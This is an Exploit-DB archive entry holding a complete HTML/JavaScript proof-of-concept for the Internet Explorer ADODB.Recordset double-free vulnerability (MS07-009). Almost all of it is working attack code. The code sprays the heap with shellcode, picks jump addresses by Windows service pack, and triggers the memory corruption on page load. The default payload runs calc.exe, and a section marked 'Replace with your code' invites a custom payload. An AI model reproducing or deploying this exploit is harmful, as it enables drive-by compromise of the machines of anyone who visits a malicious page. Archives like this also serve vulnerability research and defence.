Exploit-DB #3577
Description: Microsoft Internet Explorer - Recordset Double-Free Memory (MS07-009)
Type: remote
Platform: windows
Date: 2007-03-26
Author: anonymous

Exploit:
<HTML>
<!--
**********************************************************************************
Microsoft Internet Explorer ADODB.Recordset Double Free Memory Exploit (ms07-009).
**********************************************************************************
Review:
This code exploit "double free error" in msado15.dll NextRecordset() function.
As a result of double freeing of same string, rewriting of Heap Control Block 
by malicious data is occuring. 
Technique of exploitation is based on "Lookaside remapping".
Runs calc.exe if success.
-->
<HEAD>
	<OBJECT id=obj classid=clsid:[PII_REDACTED]-8000-00AA006D2EA4></OBJECT>
</HEAD>

<BODY onLoad='Go()'>

<script language=javascript>

//------------------Replace with your code-----------------------//
	var Shellcode = unescape("%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063");
//------------------Replace with your code-----------------------//


//-------------Heap Repair Code. Do not Replace------------------//
		var HeapRepairCode = unescape("%u9090%u9090%u186A%u645B%u038B%u408B%u8B30%u1840%u5805%u0001%u3300%u89D2%u8910%u0450%u5089%u8908%u0C50%uC083%u8928%u8900%u0440%uC083%u6608%u783D%u7C05%u8BF2%u81D8%u90C3%u0000%u8900%u3318%u83D2%u04C0%u1089%uC083%u8104%u80C3%u0000%u8900%u3318%u89C0%u8303%u04C3%u8166%u88FB%u7C1E%u8BF4%u81D3%u70EB%u001E%u6600%u338B%u8966%u4232%uC642%u0802%u6642%u328B%u3166%u4232%uC642%u1402%u6642%u328B%u3166%u4232%u6642%uC381%u0160%u1389%u5389%u8904%u891A%u045A%u9090");
//-------------Heap Repair Code. Do not Replace------------------//

var part1 = '';
var part2 = '';
var partLen = 127;

function PrepMem()
{
//Standard Heap Spray Code
var heapSprayToAddress = 0x05050505;

	var payLoadCode = HeapRepairCode + Shellcode;
	var heapBlockSize = 0x400000;
	var payLoadSize = payLoadCode.length * 2;
	var spraySlideSize = heapBlockSize - (payLoadSize+0x38);
	var spraySlide = unescape("%u9090%u9090");
	spraySlide = getSpraySlide(spraySlide,spraySlideSize);
	heapBlocks = (heapSprayToAddress - 0x400000)/heapBlockSize;
	memory = new Array();

	for (i=0;i<heapBlocks;i++)
	{
		memory[i] = spraySlide + payLoadCode;
	}

	function getSpraySlide(spraySlide, spraySlideSize)
	{
		while (spraySlide.length*2<spraySlideSize)
		{
			spraySlide += spraySlide;
		}
		spraySlide = spraySlide.substring(0,spraySlideSize/2);
		return spraySlide;
	}
}


function GetSystemVersion()
{
 //Simple Detecting of OS version out of Jscript version:
		
		var  ver = "";
		ver += ScriptEngineMajorVersion();
		ver += ScriptEngineMinorVersion();
		ver += ScriptEngineBuildVersion();
		
		if 	( ver<568820 ){ return("preSP2"); }
		else if ( ver<575730 ){ return("SP2"); }
		else return (0);
}


function PrepJmpcode(sp)
{
	switch(sp){
			case "preSP2":
					
					var egg="";
					egg+=unescape("%u0608%u0014");		
					egg+=unescape("%u0000%u0000");
					egg+=unescape("%uF708%u0013");		
					egg+=unescape("%u0000%u0101");
					egg+=unescape("%uFFFF%uFFFF");
					egg+=unescape("%uFFFF%uFFFF");
					
					part1+=unescape("%u0400%u0014");	
					part1+=unescape("%u320C%u77FC");	
					while (part1.length<partLen) {part1+=unescape("%u0505");}// ptr* shellcode							
					
					while (part2.length<(partLen-egg.length)) {part2+=unescape("%uFFFF");}
					part2+=egg;						
					
					break;	

		
			case "SP2":
					
					var egg="";
					egg+=unescape("%u0608%u0014");		
					egg+=unescape("%u0000%u0000");
					egg+=unescape("%uF708%u0013");		
					egg+=unescape("%u0000%u0101");		
					egg+=unescape("%uFFFF%uFFFF");
					egg+=unescape("%uFFFF%uFFFF");
					
					part1+=unescape("%u0505%u0505");	
					part1+=unescape("%ue128%u75c7");	
					while (part1.length<partLen) {part1+=unescape("%uFFFF");}								
					
					while (part2.length<(partLen-egg.length)) {part2+=unescape("%uFFFF");}
					part2+=egg;						
					
					break;	
		}
}

function Exploit()
{
		var arr=new Array();
		var i=1;
		
		while(i<500){
				try{
				k=1;
				while(k<500){ arr[k]=part1+part2; k++; }
				obj.NextRecordset( part1+part2 );
				}catch(e){}
				i++;
					}
}

function Go(){
	PrepMem();
	PrepJmpcode( GetSystemVersion() );
	Exploit();
}

</script>
</body>
</html>

# milw0rm.com [2007-03-26]